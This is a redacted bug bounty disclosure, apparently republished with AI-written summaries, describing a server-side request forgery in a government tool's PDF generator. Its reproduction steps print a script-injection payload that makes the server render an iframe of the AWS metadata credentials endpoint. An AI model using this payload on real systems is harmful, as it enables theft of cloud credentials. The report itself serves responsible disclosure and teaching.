SSRF in Functional Administrative Support Tool pdf generator (████) [HtUS]
The PDF generator allowed injection of JavaScript into a form field, which was executed server-side, enabling an attacker to make the server fetch AWS instance metadata and expose temporary credentials.
Originally disclosed on HackerOne
- Triaged in 15 hours
- Fixed in 41 days
- Paid in 23 hours
- Disclosed after 2 months
Summary:
I found that it is possible to inject a javascript payload during the PDF form creation process, which is then executed by the checklist application server.
Vulnerable Software: Functional Administrative Support Tool (FAST) v1.0
Intro:
██████████
Administrative clerks create a dynamic action items by guiding a███ through targeted questions designed to draw out required administrative actions that are required and trigger of additional processes that need to be completed.
After completing the question and answer process ( point 3. Get Action Items ) the application offers 2 options: Send the report by Email or print (See PDF).
When the user clicks on (View PDF) they are redirected to the URL:███████/print/checklist/fast_session_XXXXXX.pdf . This is where the user will have access to his PDF form generated dynamically by the███ system.
note: XXXXXX is the "session" assigned by the system to identify a form.
Steps To Reproduce:
-
Go to███/ and select "BEGIN NEW SESSION", enter a MCC code Ex. "h99" and SUBMIT
-
with burp suite on, select a process, and fill in the data randomly up to point 3. (EDIPI code is a 10 chars long number. Ex. 0123456789) - click CONTINUE
-
in point 3, (Get Action Items) click on PRINT (VIEW PDF) - A window will open with the dynamically generated PDF exposing the data that we complete.
-
observe in burp suite the last request made to /api/save/ proceed to right click and send to "Repeater"
-
modify value "name" of the json object "globalInfo" by the payload:
</script><script>document.write('<iframe src=\"http://███/latest/meta-data/iam/security-credentials/EC2CloudWatchRole\" width=1000px height=1000px>')</script>
and click Send request. If everything went well, the server responds "status ok"
- Refresh form URL. Ex.████████/print/checklist/fast_session_XXXXXX.pdf
for this PoC. AWS secretkeys were accessed:
{ "Code" : "Success", "LastUpdated" : "2022-07-06T02:57:53Z", "Type" : "AWS-HMAC", "AccessKeyId" : "███", "SecretAccessKey" : "████", "Token" :"██████", "Expiration" : "2022-07-06T09:04:49Z"}
Supporting Material/References:
- https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/
- https://docs.google.com/presentation/d/1JdIjHHPsFSgLbaJcHmMkE904jmwPM4xdhEuwhy2ebvo/htmlpresent
- https://hackerone.com/reports/508459
- https://hackerone.com/reports/53088
Impact
An attacker can inject malicious javascript payloads in the PDF generation process and executed by the checklist application server. An attacker could use this to Steal credentials or other sensitive information from ████ AWS Instance.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
An attacker could steal credentials or other sensitive information from the AWS instance.
What the attacker needed
Access to the application; ability to intercept and modify requests
How it was found
- Start a new session by entering a code and submitting.
- Fill in the form up to the action items step.
- Click print/view PDF to generate the PDF.
- Capture the save request and send it to Repeater.
- Modify the name field with a script payload and send the request.
- Refresh the PDF URL to trigger the payload.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
The application builds a PDF from user-supplied data. By putting a script in a form field, the attacker made the server run that script, which then asked the cloud provider for secret keys. This is dangerous because those keys can be used to access other cloud resources.
What is SSRF?
The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.